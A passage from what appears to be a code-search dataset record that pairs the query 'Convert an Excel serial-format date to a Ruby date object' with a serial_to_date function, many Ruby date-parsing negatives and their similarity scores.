Date.parse(text.strip) )\n rescue ArgumentError\n parse_error \"Invalid date format: please use YYYY-MM-DD.\"\n end\n end", "def typecast_to_date(value)\n if value.is_a?(Hash)\n typecast_hash_to_date(value)\n elsif value.is_a?(Time) # sometimes people think date is time!\n value.to_date\n elsif value.to_s =~ /ˆ(\\d{4})[\\-|\\/](\\d{2})[\\-|\\/](\\d{2})$/\n # Faster than parsing the date\n Date.new($1.to_i, $2.to_i, $3.to_i)\n else\n Date.parse(value)\n end\n rescue ArgumentError\n nil\n end", "def parse_date(string)\n begin\n Date.parse(string)\n rescue ArgumentError\n nil\n end\n end", "def convert_date(date)\n Date.strptime(date, ROOMORAMA_DATE_FORMAT).strftime(POPLIDAYS_DATE_FORMAT)\n end", "def normalize_date( object, attribute, params )\n value = params[object][attribute]\n if value.match('\\d\\d\\d\\d-\\d\\d-\\d\\d')\n # all fine - iso format used\n return\n elsif value.size == 4\n # only year given\n params[object][attribute] = value + \"-01-01\"\n elsif value.match('\\d\\d?\\.\\d\\d?\\.\\d\\d$')\n # wrong format, probably something like 20.10.84\n date = value.split('.')\n year = (date[2].to_i < 10) ? date[2].to_i + 2000 : date[2].to_i + 1900\n date = Date.new( year, date[1].to_i, date[0].to_i ) \n params[object][attribute] = date.to_s\n elsif value.match('\\d?\\d\\.\\d?\\d\\.\\d\\d\\d\\d')\n # wrong format\n date = value.split('.')\n params[object][attribute] = date[2] + \"-\" + date[1] + \"-\" + date[0]\n else\n date = ParseDate.parsedate( value, true )\n params[object][attribute] = date[0].to_s + \"-\" + date[1].to_s + \"-\" + date[2].to_s\n end\n end", "def parse_date(input, msg = T.unsafe(nil)); end", "def convert_date(date)\n DateTime.parse(date.to_s).strftime('%d.%m.%Y')\n end", "def date_parse(value)\n translate(value)&.to_date&.strftime\n rescue\n nil\n end", "def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end", "def reformat_date_for_save(date_string)\n return if date_string.nil?\n month = \"1\"\n day = \"1\"\n year = \"1900\"\n #match = date_string.gsub(\"-\",\"/\").match(/(\\d+)\\/|\\-(\\d+)\\/|\\-(\\d+)/)\n match = date_string.gsub(\"-\", \"/\").split(\"/\")\n month_numbers = {\"Jan\" => \"1\", \"Feb\" => \"2\", \"Mar\" => \"3\", \"Apr\" => \"4\", \"May\" => \"5\", \"Jun\" => \"6\",\n \"Jul\" => \"7\", \"Aug\" => \"8\", \"Sep\" => \"9\", \"Oct\" => \"10\", \"Nov\" => \"11\", \"Dec\" => \"12\"}\n format_codes = GlobalSettings[:default_date_format].gsub(\"-\", \"/\").gsub(\" \", \"/\").split(\"/\")\n format_codes.each_with_index do |fmt, idx|\n case fmt.downcase\n when '%m'\n month = match[idx]\n when '%d'\n day = match[idx]\n when '%y'\n year = match[idx]\n when '%b'\n month = month_numbers[match[idx]]\n end\n end\n \"#{year}-#{month}-#{day}\"\n end", "def parse_date(datestring)\n days = 0\n if datestring =~ /^\\+(\\d+)$/\n days = (60 * 60 * 24 * $1.to_i)\n newdate = Time.now + days\n else\n newdate = Chronic.parse(datestring, {context: :future, ambiguous_time_range: 8})\n end\n # parsed = newdate.strftime('%D %l:%M%p').gsub(/\\s+/,' ');\n # return parsed =~ /1969/ ? false : parsed\n return newdate\n end", "def format_date(original_date_str)\n original_date_str.sub(%r{\\A(\\d{4})([-/])(\\d{2})\\2(\\d{2})\\z},'\\4.\\3.\\1')\nend", "def extract_date( date )\n matches = /^(\\d{4}-\\d{2}-\\d{2})/.match( date )\n return matches[ 1 ] if matches\n return date\n end", "def fix_date(date=nil)\n if date == nil\n # no full date, use current\n yy, mm, dd = Time.now.strftime(\"%Y/%m/%d\").split('/')\n elsif date.size == 3\n # we got full date\n if date[0].size == 4\n # yyyy/mm/dd\n yy = date[0].strip\n mm = date[1].strip\n dd = date[2].strip.rjust(2,'0')\n else\n # dd/mm/yyyy\n dd = date[0].strip.rjust(2,'0')\n mm = date[1].strip\n yy = date[2].strip\n end\n case mm.downcase\n when 'enero' :\n mm = '01'\n when 'febrero' :\n mm = '02'\n when 'marzo' :\n mm = '03'\n when 'abril' :\n mm = '04'\n when 'mayo' :\n mm = '05'\n when 'junio' :\n mm = '06'\n when 'julio' :\n mm = '07'\n when 'agosto' :\n mm = '08'\n when 'setiembre' :\n mm = '09'\n when 'septiembre' :\n mm = '09'\n when 'octubre' :\n mm = '10'\n when 'noviembre' :\n mm = '11'\n when 'diciembre' :\n mm = '12'\n else\n mm.rjust(2,'0')\n end\n end\n return yy, mm, dd\n end", "def date_s_to_i(date_str)\n require 'time'\n \n if not validate_date_str(date_str)\n raise BlankGenerationConversionException, \"Invalid date value #{date_str}\"\n end\n \n Time.parse(date_str).to_i\nend", "def input_date_format(date)\n if date.split(\"-\").count > 2\n new_date = date.split(\"-\")\n return new_date[1] + \"-\" + new_date[0]\n else\n return date\n end\n end", "def coerce_date(value, options = {})\n value = coerce_string(value)\n begin\n Date.strptime(value, options.fetch(:format, \"%Y-%m-%d\"))\n rescue ArgumentError\n nil\n end\n end", "def parse_exact_date(string, today)\n tokens = string.split(DELIMITER)\n\n if tokens.length >= 2\n if tokens[0] =~ NUMBER_WITH_ORDINAL\n parse_exact_date_parts(tokens[0], tokens[1], tokens[2], today)\n elsif tokens[1] =~ NUMBER_WITH_ORDINAL\n parse_exact_date_parts(tokens[1], tokens[0], tokens[2], today)\n end\n end\n end", "def parse_date date\n\t\tunless date =~ /(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})Z/\n\t\t\treturn nil\n\t\tend\n\t\t\n\t\tyear = $1\n\t\tmonth = $2\n\t\tday = $3\n\t\thour = $4\n\t\tmin = $5\n\t\tsec = $6\n\n\t\treturn Time.mktime(year, month, day, hour, min, sec)\n\tend", "def parse_date(date)\n parsed = @date_cache[date]\n if parsed\n parsed\n else\n if date =~ /^(\\d{4})(\\d{2})(\\d{2})$/\n parsed = Date.new($1.to_i, $2.to_i, $3.to_i)\n elsif date =~ /^(\\d{2})\\/(\\d{2})\\/(\\d{4})$/\n parsed = Date.new($3.to_i, $1.to_i, $2.to_i)\n else\n raise \"unknown format\"\n end\n if :month == date_type\n parsed = Date.new(parsed.year, parsed.month)\n end\n @date_cache[date] = parsed\n end\n end", "def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end", "def vali_date(str)\n # Define month and day variables\n month, day = str.split('/').map(&:to_i)\n\n # Case month variable and return month and day if they are valid\n case month\n when 2 # February (28 days)\n return month, day if (1..28).include? day\n when 4, 6, 9, 11 # April, June, September, November (30 days)\n return month, day if (1..30).include? day\n when 1, 3, 5, 7, 8, 10, 12 # January, March, May, July, August, October, December (31 days)\n return month, day if (1..31).include? day\n end\n\n # Return nil otherwise\n nil\n end", "def format_date(string)\n string.sub(/\\A(\\d{4})([\\-\\/])(\\d{2})\\2(\\d{2})\\z/, '\\4.\\3.\\1')\nend", "def typecast_to_date(value)\n if value.kind_of?(Hash)\n typecast_hash_to_date(value)\n else\n Date.parse(value.to_s)\n end\n end", "def date_parse(date)\n date if date && Date.strptime(date, '%Y-%m-%d').to_s == date\n rescue => _ # for rubocop :)\n nil\n end", "def extract_date(value)\n\t\t\treturn nil if value.nil?\n\n\t\t\tif value.is_a?(String)\n\t\t\t\treturn value\n\t\t\telsif value.respond_to?(:strftime)\n\t\t\t\treturn value.strftime(\"%m/%Y\")\n\t\t\tend\n\t\tend", "def format_date(string)\n string.sub(/\\A(\\d\\d\\d\\d)(\\-|\\/)(\\d\\d)(\\-|\\/)(\\d\\d)/, '\\5.\\3.\\1')\nend", "def guess_date_format\n begin\n line = @data.gets\n break if line.nil?\n\n date = line[1..-1]\n guessed_format = Qif::DateFormat::SUPPORTED_DATEFORMAT.find { |format_string, format|\n test_date_with_format?(date, format_string, format)\n }\n end until guessed_format\n\n @data.rewind\n\n guessed_format ? guessed_format.first : @fallback_format\n end", "def _date_parse(string)\n super(handle_date_parse_input(string))\n end", "def test_Convert_Date_003_InvalidDatesAsStrings\n\n require 'date'\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Convert_Date_003_InvalidDatesAsStrings\")\n puts2(\"#######################\")\n\n puts2(\"Testing invalid dates expressed as STRINGS\\n\\n\")\n\n sDateString = \"6/31/08\"\n puts2(\"\\nTrying an invalid month specific date\")\n puts2(\"#{sDateString} converted to \" + convert_date(sDateString))\n\n sDateString = \"14/04/2010\"\n puts2(\"\\nTrying an invalid month specific date\")\n puts2(\"#{sDateString} converted to \" + convert_date(sDateString))\n\n sDateString = \"12-88-2010\"\n puts2(\"\\nTrying an invalid date in any month\")\n puts2(\"#{sDateString} converted to \" + convert_date(sDateString))\n\n sDateString = \"02/29/2001\"\n puts2(\"\\nTrying an invalid Leap Year date\")\n puts2(\"#{sDateString} converted to \" + convert_date(sDateString))\n\n end", "def to_date string\n \n end", "def reg_binary_to_date(str)\n\t\tbegin\n\t\tcut=str.scan(/..../)\n\t\tyear=(cut[0][2,4]+cut[0][0,2]).hex.to_i\n\t\tmonth=(cut[1][2,4]+cut[1][0,2]).hex.to_i\n\t\tweekday=(cut[2][2,4]+cut[2][0,2]).hex.to_i\n\t\tdate=(cut[3][2,4]+cut[3][0,2]).hex.to_i\n\t\thour=(cut[4][2,4]+cut[4][0,2]).hex.to_i\n\t\tmin=(cut[5][2,4]+cut[5][0,2]).hex.to_i\n\t\tif min < 10 then\n\t\t\tmin=\"0#{min}\"\n\t\tend\n\t\tt = Time.gm(year,month,date,hour,min)\n\t\tmonth = t.strftime(\"%B\")\n\t\tweekday = t.strftime(\"%A\")\n\t\treturn \"#{weekday}, #{date} #{month} #{year} #{hour}:#{min}\"\n\t\trescue\n\t\t\treturn 'Error resolving last connected date'\n\t\tend\n\tend", "def format_date2(date)\n date.gsub(/\\A(\\d{4})([\\-\\/])(\\d\\d)([\\-\\/])(\\d\\d)\\z/, '\\5.\\3.\\1')\nend", "def formatted_date\n Date.strptime(date, \"%m/%d/%Y\")\n end" ]
[ "0.72022766", "0.712276", "0.70865995", "0.70812714", "0.7058774", "0.70566726", "0.7030246", "0.7016112", "0.69815236", "0.6975984", "0.6954734", "0.69537675", "0.6941491", "0.6941491", "0.69107306", "0.6856061", "0.68031573", "0.6799621", "0.6778264", "0.67719996", "0.6762651", "0.6700686", "0.6672786", "0.6660338", "0.6660338", "0.6625139", "0.66076654", "0.66025037", "0.658522", "0.65807647", "0.6580408", "0.65347034", "0.6525867", "0.6490102", "0.6472505", "0.6468571", "0.64499986", "0.6447495", "0.64443576", "0.6428359", "0.6427554", "0.6427554", "0.6411953", "0.6402478", "0.6394301", "0.63880825", "0.63787204", "0.63784814", "0.63553035", "0.63495165", "0.6346956", "0.6341543", "0.63271827", "0.6303537", "0.62935877", "0.62899834", "0.6287465", "0.6273851", "0.627199", "0.6248602", "0.6241348", "0.62312406", "0.6230133", "0.6225737", "0.621474", "0.6199931", "0.6196441", "0.6190106", "0.6178924", "0.6176439", "0.61676675", "0.6164852", "0.6158489", "0.6148107", "0.61436975", "0.6137522", "0.61358833", "0.6132156", "0.6127622", "0.6124633", "0.6117959", "0.61134297", "0.6113045", "0.61071724", "0.6105772", "0.6105579", "0.6104368", "0.6086789", "0.60855913", "0.6079004", "0.60727847", "0.6072191", "0.606818", "0.6067421", "0.60570264", "0.60559434", "0.60533696", "0.60499895", "0.6049739", "0.60425395" ]
0.6605014
27
Convert an Excel serialformat date to a Ruby date object
def serial_to_date (s) # round down and convert from string if need be # zero day is actually "Jan 0" and indexing starts from 1, so subtract 2 s = s.to_i() - 2 # add to zero day return JAN_1_1900 + s end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def value\n val = @value\n if format_as_date?(val)\n val = Xl::DateHelper.excel_to_ruby(val)\n end\n val\n end", "def to_date\n Date.new(*to_a[0,3])\n end", "def to_date(date)\n return date if date.is_a?(Date)\n Date.parse(date)\n end", "def to_date()\n #This is a stub, used for indexing\n end", "def to_date string\n \n end", "def typecast_hash_to_date(hash)\n Date.new(*extract_time(hash)[0, 3])\n rescue ArgumentError\n # TODO: use Time#to_date once available in Extlib\n time = typecast_hash_to_time(hash)\n Date.new(time.year, time.month, time.day)\n end", "def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end", "def convert_date(hash, date_symbol_or_string)\n attribute = date_symbol_or_string.to_s\n return Date.new(hash[attribute + '(1i)'].to_i, hash[attribute + '(2i)'].to_i, hash[attribute + '(3i)'].to_i) \n end", "def typecast_to_date(value)\n if value.kind_of?(Hash)\n typecast_hash_to_date(value)\n else\n Date.parse(value.to_s)\n end\n end", "def to_date\n return self.to_i.to_date if self =~ DIGIT_ONLY_REGEX\n if self =~ US_DATE_REGEX\n Date.strptime(self.tr(DATE_TR,'-'), US_DATE_FORMAT)\n elsif self =~ JSON_DATE_REGEX\n json_date_to_time.to_date\n else\n Date.strptime(self.tr(DATE_TR,'-'), ISO_DATE_FORMAT)\n end\n end", "def to_date(value)\n # return(date($this->DateFormat,value))\n end", "def convert_date(date)\n d = date.split('/')\n \"#{d[2]}-#{d[0]}-#{d[1]}\".to_date\n end", "def date1904() @@date1904; end", "def to_date\n ::Date.new(year, month, day)\n end", "def convert_date(date)\n Date.strptime(date, ROOMORAMA_DATE_FORMAT).strftime(POPLIDAYS_DATE_FORMAT)\n end", "def to_date\n ::Date.new(@year, @month, @day)\n end", "def typecast_value_date(value)\n case value\n when DateTime, Time\n Date.new(value.year, value.month, value.day)\n when Date\n value\n when String\n Sequel.string_to_date(value)\n when Hash\n Date.new(*[:year, :month, :day].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise InvalidValue, \"invalid value for Date: #{value.inspect}\"\n end\n end", "def typecast_hash_to_date(value)\n Date.new(*extract_time(value)[0, 3].map(&:to_i))\n end", "def convert_datetimes_intelligently!\n dt_attrs = @converted_headers.select { |obj| obj.match(/_(?:dt?|at|on)\\z/) }\n dt_idxs = dt_attrs.map { |obj| @converted_headers.find_index(obj) }\n\n spreadsheet.map! { |row|\n dt_idxs.each { |idx|\n to_convert = row[idx]\n row[idx] = to_convert.try(:to_datetime) || to_convert\n }\n row }\n end", "def typecast_hash_to_date(value)\n ::Date.new(*extract_time(value)[0, 3])\n end", "def to_date\n Date.new(year, month, day)\n end", "def time_to_oa_date(time)\n time = time.respond_to?(:to_time) ? time.to_time : time\n # Local dates are stored as UTC by truncating the offset:\n # 1970-01-01 00:00:00 +0200 => 1970-01-01 00:00:00 UTC\n # This is done because SpreadsheetML is not timezone aware.\n (time + time.utc_offset).utc.to_f / 24 / 3600 + 25569\n end", "def to_date\n begin\n Date.parse(self)\n rescue => e\n raise Sequel::Error::InvalidValue, \"Invalid date value '#{self}' (#{e.message})\"\n end\n end", "def convert_to_date(date)\n\t\tmatch = year_month_day?(date)\n\t\tif match.nil?\n\t\t\tmatch = year_month?(date)\n\t\t\tif match.nil?\n\t\t\t\tmatch = year_only?(date)\n\t\t\tend\n\t\tend\n\t\tif match.nil?\n\t\t\tnil\n\t\telse\n\t\t\tbegin\n\t\t\t\tyear = match[1].to_i\n\t\t\t\tmonth = match[2]&.to_i\n\t\t\t\tday = match[3]&.to_i\n\t\t\t\td = day.nil? ? (month.nil? ? Date.new(year) : Date.new(year, month)) : Date.new(year, month, day)\n\t\t\t\tmap = {}\n\t\t\t\tmap[:date] = d\n\t\t\t\tmap[:month] = !match[2].nil?\n\t\t\t\tmap[:day] = !match[3].nil?\n\t\t\t\tmap[:extra] = (match[0].length != date.length)\n\t\t\t\tmap\n\t\t\trescue\n\t\t\t\tnil\n\t\t\tend\n\t\tend\n\tend", "def to_date\n Date.new(year, number, 1)\n end", "def convert_date(value)\n begin\n return Date.parse(value)\n rescue\n return nil\n end\n end", "def convert_date(value)\n begin\n return Date.parse(value)\n rescue\n return nil\n end\n end", "def typecast_to_primitive(value)\n if value.respond_to?(:to_date)\n value.to_date\n elsif value.is_a?(::Hash) || value.respond_to?(:to_mash)\n typecast_hash_to_date(value)\n else\n ::Date.parse(value.to_s)\n end\n rescue ArgumentError\n value\n end", "def convert_date( date )\n\n date_format = '%Y-%m-%d'\n begin\n return DateTime.strptime( date, date_format )\n rescue => e\n return nil\n end\n end", "def get_1904\n @date_1904\n end", "def manufacture_date\n bf = data['ManufactureDate']\n day = bf & ((2**5)-1)\n month = (bf & (((2**4)-1) << 5)) >> 5\n year = ((bf & (((2**7)-1) << 9)) >> 9) + 1980\n\n # Ruby 1.8 lacks Time#strptime\n Time.parse Date.new(year, month, day).to_s\n end", "def typecast_to_date(value)\n if value.is_a?(Hash)\n typecast_hash_to_date(value)\n elsif value.is_a?(Time) # sometimes people think date is time!\n value.to_date\n elsif value.to_s =~ /ˆ(\\d{4})[\\-|\\/](\\d{2})[\\-|\\/](\\d{2})$/\n # Faster than parsing the date\n Date.new($1.to_i, $2.to_i, $3.to_i)\n else\n Date.parse(value)\n end\n rescue ArgumentError\n nil\n end", "def convertDate(date)\n dateHash = date\n dateFormat = Date.parse dateHash\n dateString = dateFormat.strftime('%A, %b %d')\n return dateString \nend", "def convert_date_time(date_time_string)\n date_time = date_time_string\n\n days = 0 # Number of days since epoch\n seconds = 0 # Time expressed as fraction of 24h hours in seconds\n\n # Strip leading and trailing whitespace.\n date_time.sub!(/^\\s+/, '')\n date_time.sub!(/\\s+$/, '')\n\n # Check for invalid date char.\n return nil if date_time =~ /[^0-9T:\\-\\.Z]/\n\n # Check for \"T\" after date or before time.\n return nil unless date_time =~ /\\dT|T\\d/\n\n # Strip trailing Z in ISO8601 date.\n date_time.sub!(/Z$/, '')\n\n # Split into date and time.\n date, time = date_time.split(/T/)\n\n # We allow the time portion of the input DateTime to be optional.\n unless time.nil?\n # Match hh:mm:ss.sss+ where the seconds are optional\n if time =~ /^(\\d\\d):(\\d\\d)(:(\\d\\d(\\.\\d+)?))?/\n hour = $1.to_i\n min = $2.to_i\n sec = $4.to_f || 0\n else\n return nil # Not a valid time format.\n end\n\n # Some boundary checks\n return nil if hour >= 24\n return nil if min >= 60\n return nil if sec >= 60\n\n # Excel expresses seconds as a fraction of the number in 24 hours.\n seconds = (hour * 60* 60 + min * 60 + sec) / (24.0 * 60 * 60)\n end\n\n # We allow the date portion of the input DateTime to be optional.\n return seconds if date == ''\n\n # Match date as yyyy-mm-dd.\n if date =~ /^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/\n year = $1.to_i\n month = $2.to_i\n day = $3.to_i\n else\n return nil # Not a valid date format.\n end\n\n # Set the epoch as 1900 or 1904. Defaults to 1900.\n # Special cases for Excel.\n unless @date_1904\n return seconds if date == '1899-12-31' # Excel 1900 epoch\n return seconds if date == '1900-01-00' # Excel 1900 epoch\n return 60 + seconds if date == '1900-02-29' # Excel false leapday\n end\n\n\n # We calculate the date by calculating the number of days since the epoch\n # and adjust for the number of leap days. We calculate the number of leap\n # days by normalising the year in relation to the epoch. Thus the year 2000\n # becomes 100 for 4 and 100 year leapdays and 400 for 400 year leapdays.\n #\n epoch = @date_1904 ? 1904 : 1900\n offset = @date_1904 ? 4 : 0\n norm = 300\n range = year -epoch\n\n # Set month days and check for leap year.\n mdays = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n leap = 0\n leap = 1 if year % 4 == 0 && year % 100 != 0 || year % 400 == 0\n mdays[1] = 29 if leap != 0\n\n # Some boundary checks\n return nil if year < epoch or year > 9999\n return nil if month < 1 or month > 12\n return nil if day < 1 or day > mdays[month -1]\n\n # Accumulate the number of days since the epoch.\n days = day # Add days for current month\n (0 .. month-2).each do |m|\n days += mdays[m] # Add days for past months\n end\n days += range *365 # Add days for past years\n days += ((range) / 4) # Add leapdays\n days -= ((range + offset) /100) # Subtract 100 year leapdays\n days += ((range + offset + norm)/400) # Add 400 year leapdays\n days -= leap # Already counted above\n\n # Adjust for Excel erroneously treating 1900 as a leap year.\n days = days + 1 if !@date_1904 and days > 59\n\n return days + seconds\n end", "def convert_to_date(str_date)\n Date.parse(str_date) if str_date\n end", "def convert_date(date)\r\n if ( date == nil )\r\n return nil\r\n end\r\n string_date = date.to_s\r\n t = string_date.rindex('T')\r\n string_date = string_date.slice(0,t)\r\n string_date \r\nend", "def value_to_date(value)\n return value.strftime(NW_DATE_FORMAT) if value.respond_to? :strftime\n # Force the resulting string into 8 characters otherwise\n value = value.to_s\n value << ' ' until value.size == 8 if value.size < 8\n value = value[0..7] if value.size > 8\n value\n end", "def to_date(dt)\n Date.new(dt.year, dt.month, dt.day)\n end", "def base_date\n @base_date ||= lambda do\n date_base_element = workbook.search('workbookPr').attribute('date1904')\n if date_base_element && date_base_element.value.to_i == 1\n Date.parse('1904-01-01')\n else\n Date.parse('1900-01-01')\n end\n end.call\n end", "def convert_to(calendar)\n Date.new(calendar, self)\n end", "def to_date\n @to_date ||= begin\n Date.parse(@data['toDate']) if @data['toDate']\n end\n end", "def to_date\n @to_date ||= begin\n Date.parse(@data['toDate']) if @data['toDate']\n end\n end", "def convert_to_date(string)\n return nil if (string.nil? || string.class != String)\n tmp = Chronic.parse(string)\n tmp ? tmp.to_date : nil\n end", "def to_date(time)\n Date.new(time.year, time.month, time.day)\n end", "def to_date\n ::Date.parse(self, false) unless blank?\n end", "def to_date\n us_format = /^([0-9]{1,2})[-\\/\\.]([0-9]{1,2})[-\\/\\.]([0-9]+)$/ # US standard MM/DD/YYYY, allowing for 2 digit year\n db_format = /^([0-9]{4})[-\\/\\.]([0-9]{2})[-\\/\\.]([0-9]{2})$/ # More sane, but less common YYYY-MM-DD\n\n if self.match(us_format)\n m, d, y = self.extract(us_format)\n elsif self.match(db_format)\n y, m, d = self.extract(db_format)\n else\n return nil\n end\n \n y = y.to_i\n if y < 100\n # Ok, we'll let you do this 2 digit thing, but only because we like you.\n # Assume that 10 years in the future is as far as we're interested in.\n cutoff = Date.today.year - 2000 + 10\n y += (y < cutoff) ? 2000 : 1900\n end\n Date.new(y,m.to_i,d.to_i) rescue nil\n end", "def time_to_serial(time)\n # Using hardcoded offsets here as some operating systems will not except\n # a 'negative' offset from the ruby epoc.\n epoc1900 = -2209161600 # Time.utc(1899, 12, 30).to_i\n epoc1904 = -2082844800 # Time.utc(1904, 1, 1).to_i\n seconds_per_day = 86400 # 60*60*24\n epoc = Axlsx::Workbook::date1904 ? epoc1904 : epoc1900\n (time.to_f - epoc)/seconds_per_day\n end", "def ruby_value\n ::Date.parse(@date_time_value.strftime(\"%Y%m%d\"))\n end", "def convert_from_hebrew\r\n @jd = HebrewDate.to_jd(@hy, @hm, @hd)\r\n end", "def to_datetime()\n #This is a stub, used for indexing\n end", "def parse_date(date)\n Icalendar::Values::DateOrDateTime.new(date)\n end", "def jd_to_date(jd)\n if jd > 2299160\n # After 5/10/1582, Gregorian calendar\n a = jd + 32044\n b = ((4*a + 3) / 146097).to_i\n c = a - ((b*146097)/4).to_i\n else\n b = 0\n c = jd + 32082\n end\n\n d = ((4*c + 3) / 1461).to_i\n e = c - ((1461*d)/4).to_i\n m = ((5*e + 2) / 153).to_i\n day = e - ((153*m+2)/5).to_i + 1\n month = m + 3 - 12*(m/10).to_i\n year = b*100 + d - 4800 + (m/10).to_i\n\n Date.new(year, month, day)\n end", "def read_date; end", "def test_it_can_be_converted_to_a_ruby_date_object\n assert_equal ::Date.new(2016, 1, 1), CarbonDate::Date.new(2016, precision: :year).to_date\n assert_equal ::Date.new(2016, 12, 1), CarbonDate::Date.new(2016, 12, precision: :month).to_date\n assert_equal ::Date.new(2016, 12, 12), CarbonDate::Date.new(2016, 12, 12, precision: :day).to_date\n assert_equal ::Date.new(-44, 3, 15), CarbonDate::Date.new(-44, 3, 15, precision: :day).to_date\n end", "def parse_date(row)\n raw_date = row[0]\n if raw_date\n Date.strptime(raw_date, '%m/%d/%y')\n else\n nil\n end\nend", "def to_date\n if latest?\n Date.new(10_000, 1, 1)\n elsif timestamp?\n to_time.to_date\n else\n fail \"Version tag #{self} cannot be converted to a date!\"\n end\n end", "def get_date(row_data)\n values = row_data.to_s.chomp.split(' ')\n month = values.map { |token| MONTHS[token.downcase] }.compact.first\n year = values.find { |token| /\\d{4}/ =~ token }\n date = Date.new(year.to_i, month)\n @latest_date = date if latest_date < date\n date\n end", "def format_s_to_date(val)\n Date.strptime(val, '%m/%d/%Y').strftime(\"%Y%m%d\")\n end", "def datemin\r\n # Retrieve the value from the Workbook.\r\n value = general_metadata_sheet[*WBF[:meta_datemin_pos]].to_s\r\n begin\r\n # Try to parse it as a date.\r\n date = Date.parse(value)\r\n rescue ArgumentError\r\n # When parse did not succeed, we have to guesstimate.\r\n # Is the string usable as year? If yes, use it. If no, fall back to the current year.\r\n year = value.to_i > 2000 ? value.to_i : Date.today.year\r\n\r\n # Create a new date object from the guesstimated year.\r\n # Use the first of January as day and month values.\r\n date = Date.new(year, 1, 1)\r\n end\r\n return date\r\n end", "def read_cell_date_or_time(row, idx)\n cell = read_cell_content(row, idx)\n cell = cell.to_s.to_f\n if cell < 1.0\n value_type = :time\n f = cell * 24.0 * 60.0 * 60.0\n secs = f.round\n h = (secs / 3600.0).floor\n secs = secs - 3600 * h\n m = (secs / 60.0).floor\n secs = secs - 60 * m\n s = secs\n value = h * 3600 + m * 60 + s\n else\n datetime = row.send(:_datetime, cell)\n\n if datetime.hour != 0 ||\n datetime.min != 0 ||\n datetime.sec != 0\n value_type = :datetime\n value = datetime\n else\n value_type = :date\n value = row.send(:_date, cell)\n end\n end\n\n [value_type, value]\n end", "def to_date(date, year)\n Date.parse(\"#{date}-#{year}\")\n end", "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "def convert_to_date(string)\n return nil if string.blank?\n Chronic.parse(string).to_date\n end", "def date(input, format); end", "def date_to_binary(val)\n saved_object_count = @written_object_count\n @written_object_count += 1\n\n val = val.getutc.to_f - CFDate::DATE_DIFF_APPLE_UNIX # CFDate is a real, number of seconds since 01/01/2001 00:00:00 GMT\n\n bdata = Binary.type_bytes(\"3\", 3) # 3 is 0011, type indicator for date\n @object_table[saved_object_count] = bdata + [val].pack(\"d\").reverse\n\n return saved_object_count\n end", "def date_to_day date\r\n date = Date.parse(date) unless date.respond_to? :strftime\r\n return date.strftime('%Y%m%d')\r\n end", "def to_date\n find\n end", "def convert_date(date)\n date.strftime(\"%Y%m%d\").to_i if date\n end", "def to_date\n @from_date ||= begin\n Date.parse(@data['toDate']) if @data['toDate']\n end\n end", "def cell(row, col, sheet = default_sheet)\n validate_sheet!(sheet) # TODO: 2007-12-16\n read_cells(sheet)\n row, col = normalize(row, col)\n value = @cell[sheet][\"#{row},#{col}\"]\n type = celltype(row, col, sheet)\n return value unless [:date, :datetime].include?(type)\n klass, format = if type == :date\n [::Date, @date_format]\n else\n [::DateTime, @datetime_format]\n end\n begin\n return klass.strptime(value, format)\n rescue ArgumentError\n raise \"Invalid #{klass} #{sheet}[#{row},#{col}] #{value} using format '#{format}'\"\n end\n end", "def ruby_value\n to_datetime\n end", "def base_date\n return DATE_SYSTEM_1900 if @xml.nil?\n\n @xml.xpath('//workbook/workbookPr[@date1904]').each do |workbookPr|\n return DATE_SYSTEM_1904 if workbookPr['date1904'] =~ /true|1/i\n end\n\n DATE_SYSTEM_1900\n end", "def to_fixed(j_date = self)\n mmonth = j_date.month\n dday = j_date.day\n yyear = j_date.year\n y = yyear < 0 ? yyear + 1 : yyear\n (epoch - 1 + (365 * (y - 1)) + quotient(y - 1, 4) + quotient(367 * mmonth - 362, 12) +\n (if mmonth <= 2\n 0\n elsif Julian::Year[yyear].leap_year?\n -1\n else\n -2\n end) +\n dday)\n end", "def coerce_date(value, options = {})\n value = coerce(value, String)\n begin\n Date.strptime(value, \"%Y-%m-%d\")\n rescue ArgumentError\n nil\n end\n end", "def read_date=(_); end", "def to_date( value )\n effectively_empty( value ) ? nil : Date.parse( value.to_s )\n end", "def date(date)\n @datee = Date.new(date[:year],date[:month],date[:day])\n end", "def coerce_date(value)\n case value\n when Date\n value\n when String\n Date.parse(value)\n else\n raise ArgumentError, \"expected: Date or String, got: \" +\n value.inspect\n end\n end", "def interp_date (d, after_1925=true)\r\n\t\t# TODO: add argument for preferred/hinted format?\r\n\t\t# Main:\r\n\t\tdate_obj = false\r\n\t\t# handle already converted values and serial values\r\n\t\t# NOTE: to test for a ruby class in a \"case/when\" statement, you pass in the\r\n\t\t# object. When clauses are tested with === and obj.class === obj (but\r\n\t\t# obj === obj.class\r\n\t\tcase d\r\n\t\t\t# if no value\r\n\t\t\twhen NilClass\r\n\t\t\t\treturn nil\r\n\t\t\t# if already converted\r\n\t\t\twhen Date\r\n\t\t\t\tdate_obj = d\r\n\t\t\t# convert serial values\r\n\t\t\twhen Float\r\n\t\t\t\tdate_obj = serial_to_date(d)\r\n\t\t\twhen Fixnum\r\n\t\t\t\treturn serial_to_date(d)\r\n\t\t\t# otherwise must be a string\r\n\t\t\twhen String\r\n\t\t\t\td = d.strip()\r\n\t\t\t\t# if they leave it unknown\r\n\t\t\t\tif UNKNOWN_STR_REGEX.match(d)\r\n\t\t\t\t\treturn nil\r\n\t\t\t\tend\r\n\t\t\t\t# is it a serial value as a string?\r\n\t\t\t\tif (INT_REGEX.match(d) || FLOAT_REGEX.match(d))\r\n\t\t\t\t\tpp d\r\n\t\t\t\t\tpp 